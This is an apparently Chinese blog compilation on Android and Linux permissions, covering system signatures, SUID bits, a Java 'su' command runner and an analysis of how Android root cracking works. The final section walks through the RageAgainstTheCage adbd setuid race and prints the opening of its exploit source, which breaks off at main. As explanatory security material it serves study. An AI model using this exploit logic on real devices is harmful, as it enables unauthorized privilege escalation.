对Android系统权限的认识(包含如何获得root权限思路)

Android系统是运行在Linux内核上的,AndroidLinux分别有自己的一套严格的安全及权限机制,
Android
系统权限相关的内容,

(一)linux文件系统上的权限
-rwxr-x--x system   system       4156 2012-06-30 16:12 test.apk.

代表的是相应的用户/用户组及其他人对此文件的访问权限,与此文件运行起来具有的权限完全不相关
比如上面的例子只能说明system用户拥有对此文件的读写执行权限;system组的用户对此文件拥有读、执行权限;其他人对此文件只具有执行权限。而test.apk运行起来后可以干哪些事情,跟这个就不相关了。

千万不要看apk文件系统上属于system/system用户及用户组,或者root/root用户及用户组,就认为apk具有systemroot权限。apk程序是运行在虚拟机上的,对应的是Android独特的权限机制,只有体现到文件系统上时才使用linux的权限设置。

(二)Android的权限规则

1)Android中的apk必须签名
这种签名不是基于权威证书的,不会决定某个应用允不允许安装,而是一种自签名证书。
重要的是,android系统有的权限是基于签名的。比如:system等级的权限有专门对应的签名,签名不对,权限也就获取不到。

默认生成的APK文件是debug签名的。获取system权限时用到的签名见后面描述

2)基于UserID的进程级别的安全机制
进程有独立的地址空间,进程与进程间默认是不能互相访问的,Android通过为每一个apk分配唯一的linux userID来实现,名称为"app_"加一个数字,比如app_43不同的UserID,运行在不同的进程,所以apk之间默认便不能相互访问。

Android提供了如下的一种机制,可以使两个apk打破前面讲的这种壁垒。
在AndroidManifest.xml中利用sharedUserId属性给不同的package分配相同的userID,通过这样做,两个package可以被当做同一个程序,
系统会分配给两个程序相同的UserID。当然,基于安全考虑,两个apk需要相同的签名,否则没有验证也就没有意义了。

3)默认apk生成的数据对外是不可见的
实现方法是Android会为程序存储的数据分配该程序的UserID
借助于Linux严格的文件系统访问权限,便实现了apk之间不能相互访问似有数据的机制。

例:我的应用创建的一个文件,默认权限如下,可以看到只有UserIDapp_21的程序才能读写该文件。
-rw------- app_21   app_21      87650 2000-01-01 09:48 test.txt

如何对外开放?
<1> 
使用MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE标记。
When creating a new file with getSharedPreferences(String, int), openFileOutput(String, int), or openOrCreateDatabase(String, int, SQLiteDatabase.CursorFactory), you can use the MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE flags to allow any other package to read/write the file. When setting these flags, the file is still owned by your application, but its global read and/or write permissions have been set appropriately so any other application can see it.


4AndroidManifest.xml中的显式权限声明
Android默认应用是没有任何权限去操作其他应用或系统相关特性的,应用在进行某些操作时都需要显式地去申请相应的权限
一般以下动作时都需要申请相应的权限:

A particular permission may be enforced at a number of places during your program's operation:

At the time of a call into the system, to prevent an application from executing certain functions.When starting an activity, to prevent applications from launching activities of other applications.Both sending and receiving broadcasts, to control who can receive your broadcast or who can send a broadcast to you.When accessing and operating on a content provider.Binding or starting a service.


在应用安装的时候,package installer会检测该应用请求的权限,根据该应用的签名或者提示用户来分配相应的权限。
在程序运行期间是不检测权限的。如果安装时权限获取失败,那执行就会出错,不会提示用户权限不够。
大多数情况下,权限不足导致的失败会引发一个 SecurityException,会在系统log(system log)中有相关记录。

5)权限继承/UserID继承
当我们遇到apk权限不足时,我们有时会考虑写一个linux程序,然后由apk调用它去完成某个它没有权限完成的事情,很遗憾,这种方法是行不通的。
前面讲过,android权限是在进程层面的,也就是说一个apk应用启动的子进程的权限不可能超越其父进程的权限(即apk的权限),

即使单独运行某个应用有权限做某事,但如果它是由一个apk调用的,那权限就会被限制。
实际上,android是通过给子进程分配父进程的UserID实现这一机制的。

(三)常见权限不足问题分析

首先要知道,普通apk程序是运行在非root、非system层级的也就是说看要访问的文件的权限时,看的是最后三位。
另外
通过system/app安装的apk的权限一般比直接安装或adb install安装的apk的权限要高一些。

言归正传,运行一个android应用程序过程中遇到权限不足,一般分为两种情况:
1Log中可明显看到权限不足的提示。
此种情况一般是AndroidManifest.xml中缺少相应的权限设置,好好查找一番权限列表,应该就可解决,是最易处理的情况。

有时权限都加上了,但还是报权限不足,是什么情况呢?
Android系统有一些API及权限是需要apk具有一定的等级才能运行的。
比如 SystemClock.setCurrentTimeMillis()修改系统时间,WRITE_SECURE_SETTINGS权限好像都是需要有system级的权限才行。
也就是说UserID是system.

2Log里没有报权限不足,而是一些其他Exception的提示,这也有可能是权限不足造成的。
比如:我们常会想读/写一个配置文件或其他一些不是自己创建的文件,常会报java.io.FileNotFoundException错误。

系统认为比较重要的文件一般权限设置的也会比较严格,特别是一些很重要的(配置)文件或目录。

-r--r----- bluetooth bluetooth      935 2010-07-09 20:21 dbus.conf
drwxrwx--x system   system            2010-07-07 02:05 data 

dbus.conf
好像是蓝牙的配置文件,从权限上来看,根本就不可能改动,非bluetooth用户连读的权利都没有。

/data目录下存的是所有程序的私有数据,默认情况下android是不允许普通apk访问/data目录下内容的,通过data目录的权限设置可知,其他用户没有读的权限。
所以adb普通权限下在data目录下敲ls命令,会得到opendir failed, Permission denied的错误,通过代码file.listfiles()也无法获得data目录下的内容。


上面两种情况,一般都需要提升apk的权限,目前我所知的apk能提升到的权限就是system(具体方法见:如何使Android应用程序获取系统权限),

android apk 获取system权限

 

1.一般权限的添加

一般情况下,设定apk的权限,可在AndroidManifest.xml中添加android:sharedUserId="android.uid.xxx>

例如: 给apk添加system权限

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    ... ... 
  android:sharedUserId="android.uid.system">

 

同时还需要在对应的Android.mk中添加LOCAL_CERTIFICATE := platform这一项。即用系统的签名,通过这种方式只能使apk的权限升级到system级别,系统中要求root权限才能访问的文件,apk还是不能访问。

比如在android 的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间,这个函数需要root权限或者运行与系统进程中才可以用。

        第一个方法简单点,不过需要在Android系统源码的环境下用make来编译

        1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。

        2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行

        3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。

 

        第二个方法是直接把eclipse编出来的apk用系统的签名文件签名

        1. 加入android:sharedUserId="android.uid.system"这个属性。

        2. 使用eclipse编译出apk文件。

        3. 使用目标系统的platform密钥来重新给apk文件签名。首先找到密钥文件,在android源码目录中的位置是"build/target/product/security",下面的platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名,signapk的源代码是在"build/tools/signapk"下,编译后在out/host/linux-x86/framework下,用法为java -jar signapk.jar  platform.x509.pem platform.pk8 input.apk output.apk"。

       加入android:sharedUserId="android.uid.system"这个属性。通过Shared User id,拥有同一个User id的多个APK可以配置成运行在同一个进程中。那么把程序的UID配成android.uid.system,也就是要让程序运行在系统进程中,这样就有权限来修改系统时间了。

        只是加入UID还不够,如果这时候安装APK的话发现无法安装,提示签名不符,原因是程序想要运行在系统进程中还要有目标系统的platform key,就是上面第二个方法提到的platform.pk8和platform.x509.pem两个文件。用这两个key签名后apk才真正可以放入系统进程中。第一个方法中加入LOCAL_CERTIFICATE := platform其实就是用这两个key来签名。

        这也有一个问题,就是这样生成的程序只有在原始的Android系统或者是自己编译的系统中才可以用,因为这样的系统才可以拿到platform.pk8和platform.x509.pem两个文件。要是别家公司做的Android上连安装都安装不了。试试原始的Android中的key来签名,程序在模拟器上运行OK,不过放到G3上安装直接提示"Package ... has no signatures that match those in shared user android.uid.system",这样也是保护了系统的安全。

 

android apk 获取root权限

 

一般linux 获取root权限是通过执行su命令,那能不能在apk程序中也同样执行一下该命令呢,我们知道在linux编程中,有exec函数族:

  int execl(cONst char *path, const char *arg, ...);

  int execlp(const char *file, const char *arg, ...);

  int execle(const char *path, const char *arg, ..., char *const envp[]);

  int execv(const char *path, char *const argv[]);

  int execvp(const char *file, char *const argv[]);

  int execve(const char *path, char *const argv[], char *const envp[]);

 

在java中我们可以借助 Runtime.getRuntime().exec(String command)访问底层Linux下的程序或脚本,这样就能执行su命令(执行“su”命令有一个前提,那就是手机被root过或者是手机里面的busybox支持“su”命令,否则会执行失败。),使apk具有root权限,能够访问系统中需要root权限才能执行的程序或脚本了,具体例子:

 

[java]  view plain  copy
  1. import java.io.BufferedReader;  
  2. import java.io.DataInputStream;  
  3. import java.io.DataOutputStream;  
  4. import java.io.IOException;  
  5. import java.io.InputStreamReader;  
  6. import java.util.ArrayList;  
  7.   
  8. import android.util.Log;  
  9.   
  10. public abstract class AExecuteAsRoot {  
  11.     public static boolean canRunRootCommands() {  
  12.         boolean retval = false;  
  13.         Process suProcess;  
  14.   
  15.         try {  
  16.             suProcess = Runtime.getRuntime().exec("su");  
  17.   
  18.             DataOutputStream os = new DataOutputStream(suProcess.getOutputStream());  
  19.             DataInputStream osRes = new DataInputStream(suProcess.getInputStream());  
  20.   
  21.             if (null != os && null != osRes) {  
  22.                 // Getting the id of the current user to check if this is root  
  23.                 os.writeBytes("id\n");  
  24.                 os.flush();  
  25.   
  26.                 String currUid = osRes.readLine();  
  27.                 boolean exitSu = false;  
  28.                 if (null == currUid) {  
  29.                     retval = false;  
  30.                     exitSu = false;  
  31.                     Log.d("ROOT""Can't get root access or denied by user");  
  32.                 } else if (true == currUid.contains("uid=0")) {  
  33.                     retval = true;  
  34.                     exitSu = true;  
  35.                     Log.d("ROOT""Root access granted");  
  36.                 } else {  
  37.                     retval = false;  
  38.                     exitSu = true;  
  39.                     Log.d("ROOT""Root access rejected: " + currUid);  
  40.                 }  
  41.   
  42.                 if (exitSu) {  
  43.                     os.writeBytes("exit\n");  
  44.                     os.flush();  
  45.                 }  
  46.             }  
  47.         } catch (Exception e) {  
  48.             // Can't get root !  
  49.             // Probably broken pipe exception on trying to write to output  
  50.             // stream after su failed, meaning that the device is not rooted  
  51.   
  52.             retval = false;  
  53.             Log.d("ROOT",  
  54.                     "Root access rejected [" + e.getClass().getName() + "] : " + e.getMessage());  
  55.         }  
  56.   
  57.         return retval;  
  58.     }  
  59.   
  60.     public final boolean execute() {  
  61.         boolean retval = false;  
  62.   
  63.         try {  
  64.             ArrayList<String> commands = getCommandsToExecute();  
  65.             if (null != commands && commands.size() > 0) {  
  66.                 Process process = Runtime.getRuntime().exec("su");  
  67.   
  68.                 DataOutputStream os = new DataOutputStream(process.getOutputStream());  
  69.   
  70.                 for (String currCommand : commands) {  
  71.                     os.writeBytes(currCommand + "\n");  
  72.                     os.flush();  
  73.                 }  
  74.   
  75.                 os.writeBytes("exit\n");  
  76.                 os.flush();  
  77.   
  78.                 BufferedReader reader = new BufferedReader(new InputStreamReader(  
  79.                         process.getInputStream()));  
  80.                 int read;  
  81.                 char[] buffer = new char[4096];  
  82.                 StringBuffer output = new StringBuffer();  
  83.                 while ((read = reader.read(buffer)) > 0) {  
  84.                     output.append(buffer, 0, read);  
  85.                 }  
  86.                 reader.close();  
  87.   
  88.                 try {  
  89.                     int suProcessRetval = process.waitFor();  
  90.                     if (255 != suProcessRetval) {  
  91.                         retval = true;  
  92.                     } else {  
  93.                         retval = false;  
  94.                     }  
  95.                     System.out.println("BBBB: "+output.toString()) ;  
  96.                 } catch (Exception ex) {  
  97.                     //Log.e("Error executing root action", ex);  
  98.                 }  
  99.             }  
  100.         } catch (IOException ex) {  
  101.             Log.w("ROOT""Can't get root access", ex);  
  102.         } catch (SecurityException ex) {  
  103.             Log.w("ROOT""Can't get root access", ex);  
  104.         } catch (Exception ex) {  
  105.             Log.w("ROOT""Error executing internal operation", ex);  
  106.         }  
  107.   
  108.         return retval;  
  109.     }  
  110.   
  111.     protected abstract ArrayList<String> getCommandsToExecute();  
  112. }  


 

[java]  view plain  copy
  1. import java.util.ArrayList;  
  2.   
  3. import android.app.Activity;  
  4. import android.os.Bundle;  
  5. import android.util.Log;  
  6.   
  7. public class SuActivity extends Activity {  
  8.     @Override  
  9.     public void onCreate(Bundle savedInstanceState) {  
  10.         super.onCreate(savedInstanceState);  
  11.         setContentView(R.layout.main);  
  12.         try {  
  13.             Log.d("ROOT""result:" + new ExecuteAsRoot().execute());  
  14.         } catch (Exception e) {  
  15.             e.printStackTrace();  
  16.         }  
  17.     }  
  18.   
  19.     private class ExecuteAsRoot extends AExecuteAsRoot {  
  20.   
  21.         @Override  
  22.         protected ArrayList<String> getCommandsToExecute() {  
  23.             ArrayList<String> list = new ArrayList<String>();  
  24.             list.add("add kill-server");  
  25.             list.add("adb devices");  
  26.             return list;  
  27.         }  
  28.     }  

 

在AndroidManifest.xml常用权限

android.permission.ACCESS_CHECKIN_PROPERTIES
//
允许读写访问”properties”表在checkin数据库中,改值可以修改上传
android.permission.ACCESS_COARSE_LOCATION 
//
允许一个程序访问CellIDWiFi热点来获取粗略的位置
android.permission.ACCESS_FINE_LOCATION 
//
允许一个程序访问精良位置(GPS)
android.permission.ACCESS_LOCATION_EXTRA_COMMANDS 
//
允许应用程序访问额外的位置提供命令 
android.permission.ACCESS_MOCK_LOCATION 
//
允许程序创建模拟位置提供用于测试 
android.permission.ACCESS_NETWORK_STATE 
//
允许程序访问有关GSM网络信息
android.permission.ACCESS_SURFACE_FLINGER 
//
允许程序使用SurfaceFlinger底层特性
android.permission.ACCESS_WIFI_STATE 
//
允许程序访问Wi-Fi网络状态信息
android.permission.ADD_SYSTEM_SERVICE 
//
允许程序发布系统级服务 
android.permission.BATTERY_STATS 
//
允许程序更新手机电池统计信息 
android.permission.BLUETOOTH 
//
允许程序连接到已配对的蓝牙设备 
android.permission.BLUETOOTH_ADMIN 
//
允许程序发现和配对蓝牙设备 
android.permission.BRICK 
//
请求能够禁用设备(非常危险
android.permission.BROADCAST_PACKAGE_REMOVED 
//
允许程序广播一个提示消息在一个应用程序包已经移除后
android.permission.BROADCAST_STICKY 
//
允许一个程序广播常用intents 
android.permission.CALL_PHONE 
//
允许一个程序初始化一个电话拨号不需通过拨号用户界面需要用户确认
android.permission.CALL_PRIVILEGED 
//
允许一个程序拨打任何号码,包含紧急号码无需通过拨号用户界面需要用户确认
android.permission.CAMERA 
//
请求访问使用照相设备 
android.permission.CHANGE_COMPONENT_ENABLED_STATE 
//
允许一个程序是否改变一个组件或其他的启用或禁用
android.permission.CHANGE_CONFIGURATION 
//
允许一个程序修改当前设置,如本地化 

android.permission.CHANGE_NETWORK_STATE
//
允许程序改变网络连接状态 
android.permission.CHANGE_WIFI_STATE 
//
允许程序改变Wi-Fi连接状态
android.permission.CLEAR_APP_CACHE 
//
允许一个程序清楚缓存从所有安装的程序在设备中
android.permission.CLEAR_APP_USER_DATA 
//
允许一个程序清除用户设置 
android.permission.CONTROL_LOCATION_UPDATES 
//
允许启用禁止位置更新提示从无线模块 
android.permission.DELETE_CACHE_FILES 
//
允许程序删除缓存文件 
android.permission.DELETE_PACKAGES 
//
允许一个程序删除包 
android.permission.DEVICE_POWER 
//
允许访问底层电源管理 
android.permission.DIAGNOSTIC 
//
允许程序RW诊断资源
android.permission.DISABLE_KEYGUARD 
//
允许程序禁用键盘锁 
android.permission.DUMP 
//
允许程序返回状态抓取信息从系统服务 
android.permission.EXPAND_STATUS_BAR 
//
允许一个程序扩展收缩在状态栏,android开发网提示应该是一个类似Windows Mobile中的托盘程序
android.permission.FACTORY_TEST 
//
作为一个工厂测试程序,运行在root用户
android.permission.FLASHLIGHT 
//
访问闪光灯,android开发网提示HTC Dream不包含闪光灯
android.permission.FORCE_BACK 
//
允许程序强行一个后退操作是否在顶层activities
android.permission.FOTA_UPDATE 
//
暂时不了解这是做什么使用的,android开发网分析可能是一个预留权限.
android.permission.GET_ACCOUNTS 
//
访问一个帐户列表在Accounts Service
android.permission.GET_PACKAGE_SIZE 
//
允许一个程序获取任何package占用空间容量
android.permission.GET_TASKS 
//
允许一个程序获取信息有关当前或最近运行的任务,一个缩略的任务状态,是否活动等等
android.permission.HARDWARE_TEST 
//
允许访问硬件 
android.permission.INJECT_EVENTS 
//
允许一个程序截获用户事件如按键、触摸、轨迹球等等到一个时间流,android开发网提醒算是hook技术吧
android.permission.INSTALL_PACKAGES 
//
允许一个程序安装packages 
android.permission.INTERNAL_SYSTEM_WINDOW 
//
允许打开窗口使用系统用户界面 
android.permission.INTERNET 
//
允许程序打开网络套接字 
android.permission.MANAGE_APP_TOKENS 
//
允许程序管理(创建、催后、 z- order默认向z轴推移)程序引用在窗口管理器中
android.permission.MASTER_CLEAR 
//
目前还没有明确的解释,android开发网分析可能是清除一切数据,类似硬格机
android.permission.MODIFY_AUDIO_SETTINGS 
//
允许程序修改全局音频设置 
android.permission.MODIFY_PHONE_STATE 
//
允许修改话机状态,如电源,人机接口等 
android.permission.MOUNT_UNMOUNT_FILESYSTEMS 
//
允许挂载和反挂载文件系统可移动存储 
android.permission.PERSISTENT_ACTIVITY 
//
允许一个程序设置他的activities显示
android.permission.PROCESS_OUTGOING_CALLS 
//
允许程序监视、修改有关播出电话 
android.permission.READ_CALENDAR 
//
允许程序读取用户日历数据 
android.permission.READ_CONTACTS 
//
允许程序读取用户联系人数据 
android.permission.READ_FRAME_BUFFER 
//
允许程序屏幕波或和更多常规的访问帧缓冲数据 
android.permission.READ_INPUT_STATE 
//
允许程序返回当前按键状态 
android.permission.READ_LOGS 
//
允许程序读取底层系统日志文件 
android.permission.READ_OWNER_DATA 
//
允许程序读取所有者数据 
android.permission.READ_SMS 
//
允许程序读取短信息 
android.permission.READ_SYNC_SETTINGS 
//
允许程序读取同步设置 
android.permission.READ_SYNC_STATS 
//
允许程序读取同步状态 
android.permission.REBOOT 
//
请求能够重新启动设备 
android.permission.RECEIVE_BOOT_COMPLETED 
//
允许一个程序接收到 
android.permission.RECEIVE_MMS 
//
允许一个程序监控将收到MMS彩信,记录或处理
android.permission.RECEIVE_SMS 
//
允许程序监控一个将收到短信息,记录或处理 
android.permission.RECEIVE_WAP_PUSH 
//
允许程序监控将收到WAP PUSH信息
android.permission.RECORD_AUDIO 
//
允许程序录制音频 
android.permission.REORDER_TASKS 
//
允许程序改变Z轴排列任务
android.permission.RESTART_PACKAGES 
//
允许程序重新启动其他程序 
android.permission.SEND_SMS 
//
允许程序发送SMS短信
android.permission.SET_ACTIVITY_WATCHER 
//
允许程序监控或控制activities已经启动全局系统中
android.permission.SET_ALWAYS_FINISH 
//
允许程序控制是否活动间接完成在处于后台时 
android.permission.SET_ANIMATION_SCALE 
//
修改全局信息比例 
android.permission.SET_DEBUG_APP 
//
配置一个程序用于调试 
android.permission.SET_ORIENTATION 
//
允许底层访问设置屏幕方向和实际旋转 
android.permission.SET_PREFERRED_APPLICATIONS 
//
允许一个程序修改列表参数PackageManager.addPackageToPreferred()PackageManager.removePackageFromPreferred()方法
android.permission.SET_PROCESS_FOREGROUND 
//
允许程序当前运行程序强行到前台 
android.permission.SET_PROCESS_LIMIT 
//
允许设置最大的运行进程数量 
android.permission.SET_TIME_ZONE 
//
允许程序设置时间区域 
android.permission.SET_WALLPAPER 
//
允许程序设置壁纸 
android.permission.SET_WALLPAPER_HINTS 
//
允许程序设置壁纸hits 
android.permission.SIGNAL_PERSISTENT_PROCESSES 
//
允许程序请求发送信号到所有显示的进程中 
android.permission.STATUS_BAR 
//
允许程序打开、关闭或禁用状态栏及图标Allows an application to open, close, or disable the status bar and its icons.
android.permission.SUBSCRIBED_FEEDS_READ 
//
允许一个程序访问订阅RSS Feed内容提供
android.permission.SUBSCRIBED_FEEDS_WRITE 
//
系统暂时保留改设置,android开发网认为未来版本会加入该功能。
android.permission.SYSTEM_ALERT_WINDOW 
//
允许一个程序打开窗口使用 TYPE_SYSTEM_ALERT,显示在其他所有程序的顶层(Allows an application to open windows using the type TYPE_SYSTEM_ALERT, shown on top of all other applications. )
android.permission.VIBRATE 
//
允许访问振动设备 
android.permission.WAKE_LOCK 
//
允许使用PowerManager WakeLocks保持进程在休眠时从屏幕消失
android.permission.WRITE_APN_SETTINGS 
//
允许程序写入APN设置
android.permission.WRITE_CALENDAR 
//
允许一个程序写入但不读取用户日历数据 
android.permission.WRITE_CONTACTS 
//
允许程序写入但不读取用户联系人数据 
android.permission.WRITE_GSERVICES 
//
允许程序修改Google服务地图
android.permission.WRITE_OWNER_DATA 
//
允许一个程序写入但不读取所有者数据 
android.permission.WRITE_SETTINGS 
//
允许程序读取或写入系统设置 
android.permission.WRITE_SMS 
//
允许程序写短信 
android.permission.WRITE_SYNC_SETTINGS 
//
允许程序写入同步设置

 

Linux的特殊文件权限

 

发布于:  一般文件权限读(R),写(W),执行(X)权限比较简单。一般材料上面都有介绍。 这里介绍一下一些特殊的文件权限——SUID,SGID,Stick bit。如果你检查一下/usr/bin/passwd和/tmp/的文件权限你就会发现和普通的文件权限有少许不同(ll -a | grep passwd) 这里就涉及到SUID和Stick bit。(其实这块在之前的blog中有详细分析过:http://blog.csdn.net/koozxcv/article/details/50499548)。

SUID和SGID

    我们首先来谈一下passwd程序特殊的地方。大家都知道,Linux把用户的密码信息存放在/etc/shadow里面,通过查看该文件的属性,

 可以看到Shadow的只有所有者可读写,所有者是root,所以该文件对普通用户是不可读写的。但是普通用户调用passwd程序是可以修改自己的密码的,这又是为什么呢?难道普通用户可以读写shadow文件?当然不是啦。password可以修改shadow文件的原因是他设置了SUID文件权限

    SUID文件权限作用于可执行文件。一般的可执行文件在执行期的所有者是当前用户,比如当前系统用户是simon,simon运行程序a.out,a.out执行期的所有者应该是simon。但是如果我们给可执行文件设置了SUID权限,则该程序执行期间的所有者,就是该文件所有者还以前面的a.out为例,假如a.out设置了SUID,并且其所有者是root,系统当前用户是simon,当simon运行a.out的时候,a.out在运行期的所有者就是root,这时a.out可以存取只有root权限才能存取的资源,比如读写shadow文件。当a.out执行结束的时候当前用户的权限又回到了simon的权限了。

-rwsr-xr-x 1 root root 42824 9月 13 2012 passwd

     通过上面passwd的文件属性,我们可以看到passwd就是设置了SUID权限,并且passwd的所有者是root,而且其组内和其他组成员(即所有的用户)都可以执行他,在passwd运行期,程序获得临时的root权限,这时其可以存取shadow文件。当passwd运行完成,当前用户又回到普通权限。

     同理,设置程序的SGID,可以使程序运行期可以临时获得所有者组的权限。在团队开发的时候,这个文件权限比较有用,一般系统用SUID比较多。

     SGID可以用于目录,当目录设置了SGID之后,在该目录下面建立的所有文件和目录都具有和该目录相同的用户组。

Stick bit(粘贴位)

     对程序,该权限告诉系统在程序完成后在内存中保存一份运行程序的备份,如该程序常用,可为系统节省点时间,不用每次从磁盘加载到内存。Linux当前对文件没有实现这个功能,一些其他的UNIX系统实现了这个功能

     Stick bit可以作用于目录,在设置了粘贴位的目录下面的文件和目录,只有所有者和root可以删除他。现在我们可以回头去看看/tmp/目录的情况,这个目录设置了粘贴位。所以说,所有人都可以对该目录读写执行(777),这样意味着所有人都可以在/tmp/下面创建临时目录。因为设置Stick bit只有所有者和root才能删除目录。这样普通用户只能删除属于自己的文件,而不能删除其他人的文件。如下图所示:

设置SUID,SGID,Stick bit

     前面介绍过SUID与SGID的功能,那么,如何打开文件使其成为具有SUID与SGID的权限呢?这就需要使用数字更改权限了。现在应该知道,使用数字更改权限的方式为“3个数字”的组合,那么,如果在这3个数字之前再加上一个数字,最前面的数字就表示这几个属性了(注:通常我们使用chmod 0777 filename的方式来设置filename的属性时,则是假设没有SUID、SGID及Sticky bit)。 
     4为SUID
     2为SGID 
     1为Sticky bit 

     假设要将一个文件属性改为“-rwsr-xr-x”,由于s在用户权限中,所以是SUID,因此,在原先的755之前还要加上4,也就是使用“chmod 4755 filename”来设置。

     SUID也可以用“chmod u+s filename”来设置,“chmod u-s filename”来取消SUID设置;同样,SGID可以用“chmod g+s filename”,“chmod g-s filename”来取消SGID设置。

 

Android系统root破解原理分析

获得root权限的代码如下:

Process process = Runtime.getRuntime().exec("su");

DataOutputStream os =newDataOutputStream(process.getOutputStream());

 ......

os.writeBytes("exit\n");

os.flush();

process.waitFor();

    从上面代码我们可以看到首先要运行su程序,其实root的秘密都在su程序中,Android系统默认的su程序只能root和shell可以用运行su,如果把这个限制拿掉,就是root破解了!

    下面我们仔细分析一下程序是怎样获得root权限的,如果对Linux的su命令熟悉的朋友可能知道su程序都设置SUID位,我们查看一下已经root破解上的su权限设置,

      我们发现su的所有者和所有组都是root,是其实是busybox的软链接,我们查看busybox的属性发现,其设置了SUIDSGID,并且所有者和所有组都是root。这样运行busybox的普通用户,busybox运行过程中获得的是root的有效用户。su程序则是把自己启动一个新的程序 root shell),并把自己权限提升至root(我们前面提到su其实就是busybox,运行期它的权限是root,当然也有权限来提升自己的权限)。

     再强调一下不光root手机上su需要设置SUID,所有的Linux系统上的su程序都需要设置SUID位。

     我们发现su也设置了SUID位,这样普通用户也可以运行su程序,su程序会验证root

密码,如果正确su程序可以把用户权限提高的root(因为其设置SUID位,运行期是root权限,这样其有权限提升自己的权限)。

     Android系统的破解的根本原理就是替换掉系统中的su程序,因为系统中的默认su程序需要验证实际用户权限(只有root和shell用户才有权运行系统默认的su程序,其他用户运行都会返回错误)。而破解后的su将不检查实际用户权限,这样普通的用户也将可以运行su程序,也可以通过su程序将自己的权限提升。

     root破解没有利用什么Linux内核漏洞(Linux内核不可能有这么大的漏洞存在),可以理解成root破解就是在你系统中植入“木马su”,说它是“木马”一点儿都不为过,假如恶意程序在系统中运行也可以通过su来提升自己的权限的这样的结果将会是灾难性的。所以一般情况下root过手机都会有一个SuperUser应用程序(我平常比较常用Supersu)来让用户管理允许谁获得root权限.但是要替换掉系统中su程序本身就是需要root权限的,怎样在root破解过程中获得root权限,假设需要破解的Android系统具备如下条件:

1、可以通过adb连接到设备,一般意味着驱动程序已经安装。
2、但是adb获得用户权限是shell用户,而不是root。

先了解一下adb工具,设备端有adbd服务程序后台运行,为开发机的adb程序提供服务,adbd的权限,决定了adb的权限。具体用户可查看/system/core/adb下的源码,查看Android.mk你将会发现adb和adbd其实是一份代码,然后通过宏来编译。

查看adb.c的adb_main函数你将会发现adbd中有如下代码:

   1:int adb_main(int is_daemon)

   2: {

   3:    ......

   4:    property_get("ro.secure", value,"");

   5:    if (strcmp(value,"1") == 0) {

   6:        // don't run as root if ro.secure is set...

   7:        secure = 1;

   8:        ......

   9:    }

  10: 

  11:    if (secure) {

  12:        ......

  13:        setgid(AID_SHELL);

  14:        setuid(AID_SHELL);

  15:        ......

  16:    }

  17: }

从中我们可以看到adbd会检测系统的ro.secure属性,如果该属性为1则将会把自己的用户权限降级成shell用户。一般设备出厂的时候在/default.prop文件中都会有:

   1: ro.secure=1

这样将会使adbd启动的时候自动降级成shell用户。

然后我们再介绍一下adbd在什么时候启动的呢?答案是在init.rc中配置的系统服务,由init进程启动。我们查看init.rc中有如下内容:

   1: # adbd is controlled by the persist.service.adb.enable system property

   2: service adbd /sbin/adbd

   3:    disabled

对Android属性系统少有了解的朋友将会知道,在init.rc中配置的系统服务启动的时候都是root权限(因为init进行是root权限,其子程序也是root)。由此我们可以知道在adbd程序在执行:

   1:/* then switch user and group to "shell" */

   2: setgid(AID_SHELL);

   3: setuid(AID_SHELL);

代码之前都是root权限,只有执行这两句之后才变成shell权限的。

这样我们就可以引出root破解过程中获得root权限的方法了,那就是让上面setgid和setuid函数执行失败,也就是降级失败,那就继续在root权限下面运行了。

这里面做一个简单说明:

1出厂设置的ro.secure属性为1,则adbd也将运行在shell用户权限下
2adb工具创建的进程ratc也运行在shell用户权限下;

3ratc一直创建子进程(ratc创建的子程序也将会运行在shell用户权限下),紧接着子程序退出,形成僵尸进程,占用shell用户的进程资源,直到到达shell用户的进程数为RLIMIT_NPROC的时候(包括adbdratc及其子程序),这是ratc将会创建子进程失败。这时候杀掉adbdadbd进程因为是Android系统服务,将会被Android系统自动重启,这时候ratc也在竞争产生子程序。在adbd程序执行上面setgidsetuid之前,ratc已经创建了一个新的子进程,那么shell用户的进程限额已经达到,则adbd进程执行setgidsetuid将会失败。根据代码我们发现失败之后adbd将会继续执行。这样adbd进程将会运行在root权限下面了。

这时重新用adb连接设备,则adb将会运行在root权限下面了。

通过上面的介绍我们发现利用RageAgainstTheCage漏洞,可以使adbd获得root权限,也就是adb获得了root权限。拿到root权限剩下的问题就好办了,复制破解之后的su程序到系统中,都是没有什么技术含量的事情了。

其实堵住adbd的这个漏洞其实也挺简单的,新版本已经加两个这个补丁。

   1:/* then switch user and group to "shell" */

   2:if (setgid(AID_SHELL) != 0) {

   3:    exit(1);

   4: }

   5:if (setuid(AID_SHELL) != 0) {

   6:    exit(1);

   7: }

如果发现setgid和setuid函数执行失败,则adbd进程异常退出,就把这个漏洞给堵上了。
 
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c
 
/* android 1.x/2.x adb setuid() root exploit

 * (C) 2010 The Android Exploid Crew

 *

 * Needs to be executed via adb -d shell. It may take a while until

 * all process slots are filled and the adb connection is reset.

 *

 * !!!This is PoC code for educational purposes only!!!

 * If you run it, it might crash your device and make it unusable!

 * So you use it at your own risk!

 */

#include <stdio.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/resource.h>

#include <unistd.h>

#include <fcntl.h>

#include <errno.h>

#include <string.h>

#include <signal.h>

#include <stdlib.h>

 

 

void die(const char *msg)

{

        perror(msg);

        exit(errno);

}

 

pid_t find_adb()

{

        char buf[256];

        int i = 0, fd = 0;

        pid_t found = 0;

 

        for (i = 0; i < 32000; ++i) {

               sprintf(buf, "/proc/%d/cmdline", i);

               if ((fd = open(buf, O_RDONLY)) < 0)

                       continue;

               memset(buf, 0, sizeof(buf));

               read(fd, buf, sizeof(buf) - 1);

               close(fd);

               if (strstr(buf, "/sbin/adb")) {

                       found = i;

                       break;

               }

        }

        return found;

}

 

 

void restart_adb(pid_t pid)

{

        kill(pid, 9);

}

 

 

void wait_for_root_adb(pid_t old_adb)

{

        pid_t p = 0;

 

        for (;;) {

               p = find_adb();

               if (p != 0 && p != old_adb)

                       break;

               sleep(1);

        }

        sleep(5);

        kill(-1, 9);

}

 

 

int main(int argc, char **argv)

{

